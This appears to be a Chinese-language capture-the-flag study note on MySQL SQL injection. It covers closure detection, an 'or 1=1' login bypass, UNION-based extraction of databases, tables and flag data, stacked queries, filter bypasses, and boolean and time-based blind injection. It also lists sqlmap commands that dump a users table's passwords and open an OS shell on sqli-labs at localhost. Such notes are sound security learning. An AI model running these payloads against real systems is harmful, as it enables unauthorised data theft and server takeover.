SQL
本章基于mysql讲解
mysql常用查询语句
select database();
查找当前所处数据库
show databases;
查找所有的数据库
select schema_name from information_schema.schemata;
同上
show tables from DB_NAME;
查数据库中的所有表
select table_name from DB_NAME;
同上
show columns from TABLE_NAME;
查找当前表中的所有列
describe(DESC) TABLE_NAME;
同上
- SELECT [DISTINCT] [CONCAT (col1,“:”,col2) as col] selection_list |要查询的内容,选择哪些列
- FROM 数据表名tb_list |指定数据表
- WHERE primary_constraint |查询时需要满足的内容
- GROUP BY grouping_columns |如何对结果进行分组
- ORDER BY sorting_columns |如何对结果进行排序
- HAVING secondary_constraint |查询时满足的第二条件
- LIMIT |限定输出的查询结果
判断闭合方式
方法1:
首先我们可以使用(转义字符)来判断SQL注入的闭合方式。
原理:当闭合字符遇到转义字符时,会被转义,那么没有闭合符的语句就不完整了,就会报错,通过报错信息我们就可以推断出闭合符。
分析报错信息:看\斜杠后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数字型。
方法2:
-
首先尝试:
?id=1’
?id=1”
结果一:如果都报错
判断闭合符为:整形闭合。 -
结果二:如果单引号报错,双引号不报错。
继续尝试
?id=1’ –-+
结果1:无报错
判断闭合符为:单引号闭合。
结果2:报错
判断闭合符可能为:单引号加括号。 -
结果三:如果单引号不报错,双引号报错。
继续尝试
?id=1" -–+
结果1:结果无报错
判断闭合符为:双引号闭合。
结果2:报错
判断闭合符可能为:双引号加括号。
注意:这里的括号不一定只有一个,闭合符里是允许多个括号组合成闭合符的,具体要判段有多少个括号,可用二分法快速判断
万能密钥
当知道其sql闭合方式后,则可以使用或等方式使其判断为true实现万能密钥的功能
例:1'or 1=1 --+
联合查询
获取列数
order by 1/2/3/4....
第n个报错则列数为(n-1)
获取库名(schema)
?id=-1' union select 1,2,database()--+(%20)
`?id=-1’ union select 1,2,group_concat(schema_name)from information_schema.schemata --+``
基于union的规则尽量让前面的数为负数或者0,要让前面失败才能执行后面的语句
获取表名(table)
?id=0' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema="moectf"--+(%20)
获取列名(column)
?id=0' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema="moectf" and table_name='flag'--+(%20)
获取数据
?id=0' union select 1,2,group_concat(flag) from moectf.flag --+
堆叠注入
在mysql中,可以通过;
来执行多个命令
这样攻击者就可以通过在一个查询中执行多个SQL语句来实现对数据库的多个操作,从而绕过应用程序的限制和过滤。
?id=1';show databases --+
bypass
- url编码
- 不可打印字符(见ascii表,用url编码表示)
- /**/代替空格
- 双写绕过 例:uunionnion
盲注
即在SQL注入过程中,SQL语句执行查询后,查询数据不能直接出现到前端中,需要使用一些特殊的方式来判断或尝试,这个过程成为盲注
盲注一般分为布尔盲注与时间盲注两类,不仅在WEB题目中出现,也经常出现在misc的盲注日志分析中
布尔盲注(有回显)
利用 =
<
>
来让服务器判断是否正确从而返回True或False,适用有回显信息时
例如:
admin' and substr(database(),1,1) > 'a' #
返回true
admin' and substr(database(),1,1) > 'b' #
返回false
由于字符b在字符a的后面,即ascii值大于a,所以爆破出数据库名的第一位为b
例题:
ISCTF2023 1z_Ssql
admin' and substr((select §xx§ from bthcls.§xx§ limit 0,1),1,1)>'a' #
这里是拿到了表和列的字典,只有当匹配到对应表列有值时才会去判断其值的第一位ascii值是否大于a的ascii值
这里把a换成前一位的、
会更好一些
通过判断回显数据包长度不同得到hint
时间盲注(无回显)
利用 sleep() 函数实现,当服务器判断正确时执行sleep函数,导致回显时间与非正确时出现差别,适用于无回显信息时
?id=1' and if(length(database())>8,sleep(2),0) --+
如果数据库名的长度大于8则睡眠两秒,通过判断回显时长得到信息
sqlmap
sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。
常用指令
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1"
GET请求
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --batch
全部默认
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --data="id=1&user=admin"
POST请求
sqlmap -u URL --level 1
测试复杂等级(1-5)
查询所有数据库
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs
输出指定数据库名字下的全部表
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables
输出指定数据名下指定表下的全部列
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns
输出指定数据库指定列指定字段下的全部数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C password --dump
Getshell
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell
未完待续
参考:
sql注入中关于“–+“,“–“和“#“
MySQL基本语句手册(查找必备!!)
Sqlmap使用指南(手把手保姆版)